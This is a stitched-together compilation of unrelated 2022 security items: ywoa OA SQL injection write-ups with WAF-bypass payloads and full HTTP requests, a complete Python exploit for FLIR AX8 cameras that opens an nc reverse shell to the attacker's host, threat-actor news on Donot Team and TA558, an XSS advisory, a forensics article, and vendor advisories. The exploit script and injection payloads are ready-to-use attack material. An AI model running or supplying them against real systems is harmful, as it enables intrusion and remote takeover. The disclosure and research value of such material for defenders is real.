Yimioa v6.1 was discovered to contain a SQL injection vulnerability via the orderbyGET parameter.

**ywoaSQL-Inject-Bypass****Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment

http://partner.yimihome.com/static/index.html#/index/sys\_env

**1, personnel - personnel information - orderbyGET parameter SQL injection**

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

Bypass Payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

**Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment  
  
One-click installation, after the installation will prompt the system has expired, go to setup and take a look  
  
Until June 1, but it's okay, here to change the system time can be  
  
  
Login successfully

**Code audit****1\. Personnel - personnel information - orderbyGET parameter SQL injection**

  

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 192.168.0.35:9888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.35:9888/oa/swagger-ui.html
Origin: http://192.168.0.35:9888
Connection: close
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 137

page=1&limit=20&realname\_cond=0&realname=test18&sex=&sex\_cond=1&dept=&dept\_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=

**SQL injection Bypass**

The above injection payload is as follows

id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

The environment here is from idea, but idea has a lot of error reports, many functions are not available, I changed to Windows one-click deployment  
  
After building it, debug it remotely with idea  
  
When you try to reproduce this vulnerability again, you will be prompted with an XSS interception  
  
  
It was curious at the time why this was XSS intercepted and not SQL intercepted? Look at the code  
  
The specific detection logic is in the filter method in SecurityUtil.java, so let's look at the code logic here  
  
Briefly, the main thing here is to get the values of the request parameters, and then pass them one by one to the following detection logic  
  
Since we just prompted for an XSS attack, we will follow directly into the method antixss to see the specific implementation logic  
Next you will come to Antixss.Java

    src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java
    

  
The antiXSS method is called by passing in the html to be detected and a true  
  
Follow directly in to see  
  
Check the \_antiXSS method, where the content is passed in is the content to be detected  
  
Here is the specific detection logic, but I'm only looking at the stripScriptTag method here, because it is the content inside this method that is detected, and our focus is only on what parameters are detected  
  
Mainly by means of regularity and case-insensitive because of CASE_INSENSITIVE  
  
Pull the following when you can see, in fact, and or sleep is filtered, create a new test class, and adjust it to know  
  
Remove AND  
  
The statement is normal, put back and remove sleep, the statement is normal, so since this is the case, replace and with &&, you can  
  
statement returns normally, then after returning here  
  
Returning to SecurityUtil.java, it will enter the logic of SQL injection, following the isValidSqlParam method  
  
Follow the sql_inj method  
  
We have already bypassed the detection of and and need to bypass the code logic in the second box  
  
The main logic here is to separate inj\_str using |, which will generate a list to inj\_stra\[\], and then iterate through the list, each loop will use the indexOf method to determine whether the value in inj\_stra\[i\] is in str, that is, if indexOf returns > 0 value exists, and vice versa, it does not exist, here you can also write a class tuned  
  
  
In the sixth loop, which is when select is detected, then it is obvious that you need to bypass select  
Here I was going to try to use

&& extractvalue(1,concat('~',database()))

Unfortunately, '~' will be detected as XSS, so this method does not work  
  
The && here needs to be converted to url encoding, otherwise this request will report 400  
  
So we can only think of ways to select this keyword, here is a bypass of the payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

  
Tips: Here just by looking at the screenshot you may think that you can bypass it with SELECT capitalization, but in fact it will be converted to lowercase before calling the sql_inj method  
  
So there is no way to capitalize to bypass

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

**Function implementation entrance**

  
  
First will get the get parameter code, if the code parameter is empty, then get the Get parameter moduleCode and assign it to code, if there is no moduleCode in the get parameter, then get the formCode and copy it to code, here the code parameter passed in is personbasic  
  
Continue to the next page  
  
Here is the OA developer's own implementation of the SQLBuilder class  
  
  
Follow this method  
  
Follow such as getModuleListSqlAndUrlStr method, then a sql str will be returned, continue down the line is the place that causes SQL injection  
  
Follow up this listResult method  
  
The statements will then be spelled out in the middle  
  
The executeQuery statement is then executed  
  
The difference between the above and the SQL statement is that one is the count spliced in and the other is the original passed in  
  
This is followed by a return, which is executed here with a 5-second wait, so it causes an injection

CVE-2022-36605: ywoa SQL inject Bypass and Analysis of the article · Issue #24 · cloudwebsoft/ywoa

Ywoa before v6.1 was discovered to contain a SQL injection vulnerability via /oa/setup/checkPool?database.

**Environment construction**

http://partner.yimihome.com/static/index.html#/index/sys\_env

Direct one-click installation can be started, and then login on the account admin password 1111111, login if prompted authentication expired can not log in, change the local system time can

http://172.16.140.189:8088/oa/setup/license.jsp

Once installed here, the source code is available for download at gitee

https://gitee.com/bestfeng/yimioa

Download a good local idea to open a static look at the code on

**\[Frontend\] <6.1 Version Unauthorized SQL Injection**

  
Through the apikit interface fuzz found an interface that can be unauthorized requests, find the corresponding implementation method in the code  
Prerequisite: this hole has a condition, that is, the need for less than 6.1 version, the specific why directly on the code src/main/java/com/cloudweb/oa/controller/ApplicationController.java  
  
The above does not need to care, specifically note the following if(isValid)  
  
First get the version from the configuration  
  
Get to version 6.1, then start the version determination  
  
Determine if it is less than 3  
  
Determine if it is less than 4  
  
Determine if it is less than 5  
  
Determine if it is equal to 6  
  
The condition to be used here is that the version needs to be <= 6 in order to be successful  
So change the version  
  
You also need to change one more location, you need to change the version of the database, otherwise the login will prompt the version is inconsistent, the database and configuration file version judgment class in src/main/java/com/cloudweb/oa/service/LoginService.java  
  
  
Just change the value of the version field in the oa\_sys\_ver table in the database  
  
Restart tomcat after the change, and then request the specified interface without logging in

POST /oa/setup/checkPool?database=test' HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

Found that the return here actually has a return, will prompt the SQL statement to report an error  
  
Here we bring out the user directly with extractvalue  
  
**POC**

and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))\--+

**HTTP**

POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

CVE-2022-36606: yimiYWOA<6.1 version foreground unauthorized SQL injection · Issue #25 · cloudwebsoft/ywoa

FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.

    # -*- coding: utf-8 -*-# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection# Date: 8/19/2022# Exploit Author: Samy Younsi Naqwada (https://samy.link)# Vendor Homepage: https://www.flir.com/# Software Link: https://www.flir.com/products/ax8-automation/# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok# Version: 1.46.16 and under.# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)# CVE : CVE-2022-36266from __future__ import print_function, unicode_literalsfrom bs4 import BeautifulSoupimport argparseimport requestsimport jsonimport urllib3urllib3.disable_warnings()def banner():  flirLogo = """ ███████╗██╗     ██╗██████╗ ██╔════╝██║     ██║██╔══██╗█████╗  ██║     ██║██████╔╝██╔══╝  ██║     ██║██╔══██╗██║     ███████╗██║██║  ██║ ╚═╝     ╚══════╝╚═╝╚═╝  ╚═╝                          .---------------------.   █████╗ ██╗  ██╗ █████╗  /--'--.------.--------/|  ██╔══██╗╚██╗██╔╝██╔══██╗ |Say :) |__Ll__| [==] ||  ███████║ ╚███╔╝ ╚█████╔╝ |cheese!| .--. | '''' ||  ██╔══██║ ██╔██╗ ██╔══██╗ |       |( () )|      ||  ██║  ██║██╔╝ ██╗╚█████╔╝ |       | `--` |      |/  ╚═╝  ╚═╝╚═╝  ╚═╝ ╚════╝  `-------`------`------`                                                                                                                        \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mFLIR AX8 Unauthenticated OS Command Injection\033[1;m                                                                 FOR EDUCATIONAL PURPOSE ONLY.     """  return print('\033[1;94m{}\033[1;m'.format(flirLogo))def pingWebInterface(RHOST, RPORT):  url = 'http://{}:{}/login/'.format(RHOST, RPORT)  response = requests.get(url, allow_redirects=False, verify=False, timeout=60)  try:    if response.status_code != 200:      print('[!] \033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')      exit()    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')    version = soup.find('p', id = 'login-title').string    print('[INFO] {} detected.'.format(version))  except:    print('[ERROR] Can\'t grab the device version...')def execReverseShell(RHOST, RPORT, LHOST, LPORT):  url = 'http://{}:{}/res.php'.format(RHOST, RPORT)  payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)  data = 'action=alarm&id=2;{}'.format(payload)  headers = {    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',  }  try:    print('[INFO] Executing reverse shell...')    response = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)    print('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))    return  except Exception as e:      print('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)      return Falsedef main():  banner()  args = parser.parse_args()  pingWebInterface(args.RHOST, args.RPORT)  execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)if __name__ == "__main__":  parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)  parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (FLIR AX8 device)", type=str, required=True)  parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)  parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)  parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)  main()

FLIX AX8 1.46.16 Remote Command Execution

The Donot Team threat actor has updated its Jaca Windows malware toolkit with improved capabilities, including a revamped stealer module designed to plunder information from Google Chrome and Mozilla Firefox browsers.
The improvements also include a new infection chain that incorporates previously undocumented components to the modular framework, Morphisec researchers Hido Cohen and Arnold

The **Donot Team** threat actor has updated its **Jaca** Windows malware toolkit with improved capabilities, including a revamped stealer module designed to plunder information from Google Chrome and Mozilla Firefox browsers.

The improvements also include a new infection chain that incorporates previously undocumented components to the modular framework, Morphisec researchers Hido Cohen and Arnold Osipov disclosed in a report published last week.

Also known as APT-C-35 and Viceroy Tiger, the Donot Team is known for setting its sights on defense, diplomatic, government, and military entities in India, Pakistan, Sri Lanka, and Bangladesh, among others at least since 2016.

Evidence unearthed by Amnesty International in October 2021 connected the group's attack infrastructure to an Indian cybersecurity company called Innefu Labs.

Spear-phishing campaigns containing malicious Microsoft Office documents are the preferred delivery pathway for malware, followed by taking advantage of macros and other known vulnerabilities in the productivity software to launch the backdoor.

The latest findings from Morphisec build on a prior report from cybersecurity company ESET, which detailed the adversary's intrusions against military organizations based in South Asia using several versions of its yty malware framework, one of which is Jaca.

This entails the use of RTF documents that trick users into enabling macros, resulting in the execution of a piece of shellcode injected into memory that, in turn, is orchestrated to download a second-stage shellcode from its command-and-control (C2) server.

The second-stage then acts as a channel to retrieve a DLL file ("pgixedfxglmjirdc.dll" from another remote server, which kick-starts the actual infection by beaconing system information to the C2 server, establishing persistence via a Scheduled Task, and fetching the next-stage DLL ("WavemsMp.dll").

"The main purpose of this stage is to download and execute the modules used to steal the user's information," the researchers noted. "To understand which modules are used in the current infection, the malware communicates with another C2 server."

The C2 domain, for its part, is obtained by accessing an embedded link that points to a Google Drive document, allowing the malware to access a configuration that dictates the modules to be downloaded and executed.

These modules expand on the malware's features and harvest a wide range of data such as keystrokes, screenshots, files, and information stored in web browsers. Also, part of the toolset is a reverse shell module that grants the actor remote access to the victim machine.

The development is yet another sign that threat actors are actively adapting their tactics and techniques that are most effective in gaining initial infection and maintaining remote access for extended periods of time.

"Defending against APTs like the Donot team requires a Defense-in-Depth strategy that uses multiple layers of security to ensure redundancy if any given layers are breached," the researchers said.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

DoNot Team Hackers Updated its Malware Toolkit with Improved Capabilities

A financially motivated cybercrime group has been linked to an ongoing wave of attacks aimed at hospitality, hotel, and travel organizations in Latin America with the goal of installing malware on compromised systems.
Enterprise security firm Proofpoint, which is tracking the group under the name TA558 dating all the way back to April 2018, called it a "small crime threat actor."
"Since 2018,

A financially motivated cybercrime group has been linked to an ongoing wave of attacks aimed at hospitality, hotel, and travel organizations in Latin America with the goal of installing malware on compromised systems.

Enterprise security firm Proofpoint, which is tracking the group under the name TA558 dating all the way back to April 2018, called it a "small crime threat actor."

"Since 2018, this group has used consistent tactics, techniques, and procedures to attempt to install a variety of malware including Loda RAT, Vjw0rm, and Revenge RAT," the company's threat research team said in a new report.

The group has been operational at a higher tempo in 2022 than usual, with intrusions mainly geared towards Portuguese and Spanish speakers in Latin America, and to a lesser extent in Western Europe and North America.

Phishing campaigns mounted by the group involve sending malicious spam messages with reservation-themed lures such as hotel bookings that contain weaponized documents or URLs in a bid to entice unwitting users into installing trojans capable of reconnaissance, data theft, and distribution of follow-on payloads.

The attacks have subtly evolved over the years: The ones spotted between 2018 and 2021 leveraged emails with Word documents that either contained VBA macros or exploits for flaws such as CVE-2017-11882 and CVE-2017-8570 to download and install a mixture of malware such as AsyncRAT, Loda RAT, Revenge RAT, and Vjw0rm.

In recent months, however, TA558 has been observed pivoting away from macro-laden Microsoft Office attachments in favor of URLs and ISO files to achieve initial infection, a move likely in response to Microsoft's decision to block macros in files downloaded from the web by default.

Of the 51 campaigns carried out by the group so far this year, 27 of them are said to have incorporated URLs pointing to ISO files and ZIP archives, in comparison to just five campaigns altogether from 2018 through 2021.

Proofpoint further noted that the intrusions chronicled under TA558 are part of a broader set of malicious activities focusing on victims in the Latin American region. But in the absence of any post-compromise activity, it's suspected that TA558 is a financially motivated cybercriminal actor.

"The malware used by TA558 can steal data including hotel customer user and credit card data, allow lateral movement, and deliver follow-on payloads," the researchers said. "Activity conducted by this actor could lead to data theft of both corporate and customer data, as well as potential financial losses."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Cybercrime Group TA558 Targeting Hospitality, Hotel, and Travel Organizations

Cross Site Scripting (XSS) vulnerability exists in the phpgurukul Online Marriage Registration System 1.0 allows attackers to run arbitrary code via the wzipcode field.

**Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting**

**Platform:****PHP**

**Date:****2020-05-27**

  

    Exploit Title: Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting
    # Google Dork: N/A
    # Date: 2020-05-26
    # Exploit Author: that faceless coder(Inveteck Global)
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/
    # Version: Online Marriage Registration System 1.0 - Stored Cross-Site Scripting
    # Tested on: MAC OS MOJAVE v 10.14.6
    # CVE : N/A
    
    The Online Marriage Registration System suffers from multiple stored cross-site script vulnerabilities: 
    
    if(isset($_POST['submit']))
      {
      
    $nofhusband=$_POST['nofhusband'];
    $hreligion=$_POST['hreligion'];
    $haddress=$_POST['haddress'];
    $hstate=$_POST['hstate'];
    
    $nofwife=$_POST['nofwife'];
    $wreligion=$_POST['wreligion'];
    $waddress=$_POST['waddress'];
    $wstate=$_POST['wstate'];
    $witnessnamef=$_POST['witnessnamef'];
    $waddressfirst=$_POST['waddressfirst'];
    $witnessnames=$_POST['witnessnames'];
    $waddresssec=$_POST['waddresssec'];
    $witnessnamet=$_POST['witnessnamet'];
    $waddressthird=$_POST['waddressthird'];
    
    $sql="insert into tblregistration(RegistrationNumber,UserID,DateofMarriage,HusbandName,HusImage,HusbandReligion,Husbanddob,HusbandSBM,HusbandAdd,HusbandZipcode,HusbandState,HusbandAdharno,WifeName,WifeImage,WifeReligion,Wifedob,WifeSBM,WifeAdd,WifeZipcode,WifeState,WifeAdharNo,WitnessNamefirst,WitnessAddressFirst,WitnessNamesec,WitnessAddresssec,WitnessNamethird,WitnessAddressthird)values(:regnumber,:uid,:dom,:nofhusband,:husimg,:hreligion,:hdob,:hsbmarriage,:haddress,:hzipcode,:hstate,:hadharno,:nofwife,:wifeimg,:wreligion,:wdob,:wsbmarriage,:waddress,:wzipcode,:wstate,:wadharno,:witnessnamef,:waddressfirst,:witnessnames,:waddresssec,:witnessnamet,:waddressthird)";
    $query=$dbh->prepare($sql);
    
    $sql="insert into tblregistration(RegistrationNumber,UserID,DateofMarriage,HusbandName,HusImage,HusbandReligion,Husbanddob,HusbandSBM,HusbandAdd,HusbandZipcode,HusbandState,HusbandAdharno,WifeName,WifeImage,WifeReligion,Wifedob,WifeSBM,WifeAdd,WifeZipcode,WifeState,WifeAdharNo,WitnessNamefirst,WitnessAddressFirst,WitnessNamesec,WitnessAddresssec,WitnessNamethird,WitnessAddressthird)values(:regnumber,:uid,:dom,:nofhusband,:husimg,:hreligion,:hdob,:hsbmarriage,:haddress,:hzipcode,:hstate,:hadharno,:nofwife,:wifeimg,:wreligion,:wdob,:wsbmarriage,:waddress,:wzipcode,:wstate,:wadharno,:witnessnamef,:waddressfirst,:witnessnames,:waddresssec,:witnessnamet,:waddressthird)";
    $query=$dbh->prepare($sql);
    $query->bindParam(':nofhusband',$nofhusband,PDO::PARAM_STR);
    $query->bindParam(':hreligion',$hreligion,PDO::PARAM_STR);
    $query->bindParam(':hdob',$hdob,PDO::PARAM_STR);
    $query->bindParam(':hsbmarriage',$hsbmarriage,PDO::PARAM_STR);
    $query->bindParam(':haddress',$haddress,PDO::PARAM_STR);
    $query->bindParam(':hzipcode',$hzipcode,PDO::PARAM_STR);
    $query->bindParam(':hstate',$hstate,PDO::PARAM_STR);
    $query->bindParam(':hadharno',$hadharno,PDO::PARAM_STR);
    $query->bindParam(':nofwife',$nofwife,PDO::PARAM_STR);
    $query->bindParam(':wifeimg',$wifeimg,PDO::PARAM_STR);
    $query->bindParam(':wreligion',$wreligion,PDO::PARAM_STR);
    $query->bindParam(':wdob',$wdob,PDO::PARAM_STR);
    $query->bindParam(':wsbmarriage',$wsbmarriage,PDO::PARAM_STR);
    $query->bindParam(':waddress',$waddress,PDO::PARAM_STR);
    $query->bindParam(':wzipcode',$wzipcode,PDO::PARAM_STR);
    $query->bindParam(':wstate',$wstate,PDO::PARAM_STR);
    $query->bindParam(':wadharno',$wadharno,PDO::PARAM_STR);
    $query->bindParam(':witnessnamef',$witnessnamef,PDO::PARAM_STR);
    $query->bindParam(':waddressfirst',$waddressfirst,PDO::PARAM_STR);
    $query->bindParam(':witnessnames',$witnessnames,PDO::PARAM_STR);
    $query->bindParam(':waddresssec',$waddresssec,PDO::PARAM_STR);
    $query->bindParam(':witnessnamet',$witnessnamet,PDO::PARAM_STR);
    $query->bindParam(':waddressthird',$waddressthird,PDO::PARAM_STR);
     $query->execute();
    
       $LastInsertId=$dbh->lastInsertId();
       if ($LastInsertId>0) {
    
    echo '<script>alert("Registration form has been filled successfully.")</script>';
      }
      else
        {
             echo '<script>alert("Something Went Wrong. Please try again")</script>';
        }
    
    The data gets stored through the mentioned vulnerable parameters into the database. There is no filtering when those values are printed when the web application fetches the data from the database

CVE-2020-23466: Offensive Security’s Exploit Database Archive

This invasive malware isn’t just for phones—it can target your PC, too. But a new batch of algorithms aims to weed out this threat.

The surveillance-for-hire industry's powerful mobile spyware tools have gotten increasing attention lately as tech companies and governments grapple with the scale of the threat. But spyware that targets laptops and desktop PCs is extremely common in an array of cyberattacks, from state-backed espionage to financially motivated scams. Due to this growing threat, researchers from the incident response firm Volexity and Louisiana State University presented at the Black Hat security conference in Las Vegas last week new and refined tools that practitioners can use to catch more PC spyware in Windows 10, macOS 12, and Linux computers.

Widely used PC spyware—the type that often keylogs targets, tracks the movement of their mouse and clicks, listens in through a computer's microphone, and pulls still photos or video from the camera—can be difficult to detect because attackers intentionally design it to leave a minimal footprint. Rather than installing itself on a target's hard drive like a regular application, the malware (or its most important components) exists and runs only in the target computer's memory or RAM. This means that it doesn't generate certain classic red flags, doesn't show up in regular logs, and gets wiped away when a device is restarted. 

Enter the field of “memory forensics,” which is geared precisely toward developing techniques to assess what's going on in this liminal space. At Black Hat, the researchers specifically announced new detection algorithms based on their findings for the open source memory forensics framework Volatility. 

“Memory forensics was very different five or six years ago as far as how it was being used in the field both for incident response and by law enforcement,” Volexity director Andrew Case tells WIRED. (Case is also a lead developer of Volatility.) “It’s gotten to the point where even outside really intense malware investigations, memory forensics is needed. But for evidence or artifacts from a memory sample to be used in court or some type of legal proceeding, we need to know that the tools are working as expected and that the algorithms are validated. This latest stuff for Black Hat is really some hardcore new techniques as part of our effort to build out verified frameworks."

Case emphasizes that expanded spyware detection tools are needed because Volexity and other security firms regularly see real examples of hackers deploying memory-only spyware in their attacks. At the end of July, for example, Microsoft and the security firm RiskIQ published detailed findings and mitigations to counter the Subzero malware from an Austrian commercial spyware company, DSIRF.

“Observed victims \[targeted with Subzero\] to date include law firms, banks, and strategic consultancies in countries such as Austria, the United Kingdom, and Panama,” Microsoft and RiskIQ wrote. Subzero’s main payload, they added, “resides exclusively in memory to evade detection. It contains a variety of capabilities including keylogging, capturing screenshots, exfiltrating files, running a remote shell, and running arbitrary plugins.”

The researchers particularly focused on honing their detections for how the different operating systems talk to “hardware devices” or sensors and components like the keyboard and camera. By monitoring how the different parts of the system run and communicate with each other and looking for new behaviors or connections, memory forensic algorithms can catch and analyze more potentially malicious activity. One potential tell, for example, is to monitor an operating system process that’s always running, say the feature that lets users log in to a system, and to flag it if additional code gets injected into that process after it starts running. If code was introduced later it could be a sign of malicious manipulation.

“If you work in the incident response field, you likely see this malware all the time,” Case said during his Black Hat talk last week. “We see this targeted at our clients on a daily basis. And if you read the reports from other security vendors, it’s pretty much universal that when you have a motivated threat group targeting an organization—whether that’s a research group inside the organization, whether it’s executives, whether it’s down to just an individual person—the malware that gets deployed on those machines are going to leverage access to hardware devices for truly sensitive information.”

To do forensic analysis of what's happening in a device's memory at a given time, researchers dump the memory into a sort of snapshot file of everything that was in there at that moment. If your laptop has 16 GB of RAM and the memory is full, you'll pull out a 16-GB file from it. But to detect attacks in real time, organizations need to set up forensic monitoring on their devices in advance. And not all operating systems make it easy to conduct such monitoring.

Apple, in particular, is known for locking down access to macOS and iOS to minimize system visibility. The company says it takes this approach as a security measure because, in its estimation, users shouldn't need that level of access to operate within the tightly controlled Apple ecosystem. But the stance has been controversial for a number of reasons and has created tension with some security advocates, who say that when exploitable vulnerabilities do inevitably crop up in Apple's software, particularly iOS, the approach gives the hackers an advantage because defenders have more limited insight and control. 

“It can make exploitation harder, and it can make gaining malware persistence on a system harder,” Case says. “But it also makes forensics harder, so the argument goes both ways.” 

The team was able to make progress on developing detection tools for all three major desktop operating systems, though. And Case emphasizes that the goal is simply to detect as much spyware as possible wherever it can be done as the malware proliferates more and more.

“We work with a ton of very targeted organizations around the world and in the US, and it's organizations themselves being targeted. But also, many times, it’s individuals within the organization or within a political movement—these are the people who get targeted with this type of malware,” he says. “So the further we get on this research and the better our forensic tools are, the more we can find this behavior and make it harder for attackers to get into an environment, stay there, and get to data they want.”

Spyware Hunters Are Expanding Their Toolset

Unsafe Parsing of a PNG tRNS chunk in FastStone Image Viewer through 7.5 results in a stack buffer overflow.

CVE-2022-36947: FastStone Image Viewer - Powerful and Intuitive Photo Viewer, Editor and Batch Converter

Non-transparent sharing of return predictor targets between contexts in some Intel(R) Processors may allow an authorized user to potentially enable information disclosure via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® Processor Post-barrier RSB Predictions Advisory**

**Summary: **

A potential security vulnerability in some Intel® Processors may allow information disclosure.  Intel is releasing prescriptive guidance to address this potential vulnerability.

**Vulnerability Details:**

CVEID:  CVE-2022-26373

Description: Non-transparent sharing of return predictor targets between contexts in some Intel(R) Processors may allow an authorized user to potentially enable information disclosure via local access.

CVSS Base Score: 5.5 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Root Cause Summary:  Hardware structures shared across execution contexts (return predictor targets) can violate the expected architecture isolation between contexts.

**Affected Products:**

Some Intel® Processors, consult this list of affected products here.

**Recommendations:**

Intel documents indirect branch prediction target isolation properties as part of the Indirect Branch Restricted Speculation (IBRS) and Indirect Branch Predictor Barrier (IBPB) capabilities.  On some processors, two cases have been identified that do not fully isolate targets used for RET prediction.  In one case, the address following the most recent CALL before an IBPB may be used under certain circumstances as the predicted target of a RET executed after the barrier. Since an attacker will generally not control the last CALL instruction executed before the IBPB, Intel does not believe that any typical usage of IBPB will require mitigation for this issue.

In the second case, the address following the most recent CALL in guest mode before a VM exit event may be used under certain circumstances as the predicted target of a RET executed in the host.  This may be true even when eIBRS is employed.  Some VMM software may not be affected, or may already be executing an “RSB stuffing” sequence after VM exit. In other situations, Intel has worked with VMM vendors to create a software mitigation sequence to be used after VM exit where applicable. Intel recommends that affected Intel® Processors that use a Virtual Machine Manager (VMM), should check with their VMM vendor to determine the status of the fix.

Please refer to technical paper here for additional Post-barrier RSB prediction recommendation.

**Acknowledgements:**

The following issues were found internally by Intel employees.  Intel would like to thank Pawan Kumar Gupta, Alyssa Milburn, Amit Peled, Shani Rehana, Nir Shildan and Ariel Sabba.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

08/09/2022

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

**Report a Vulnerability**

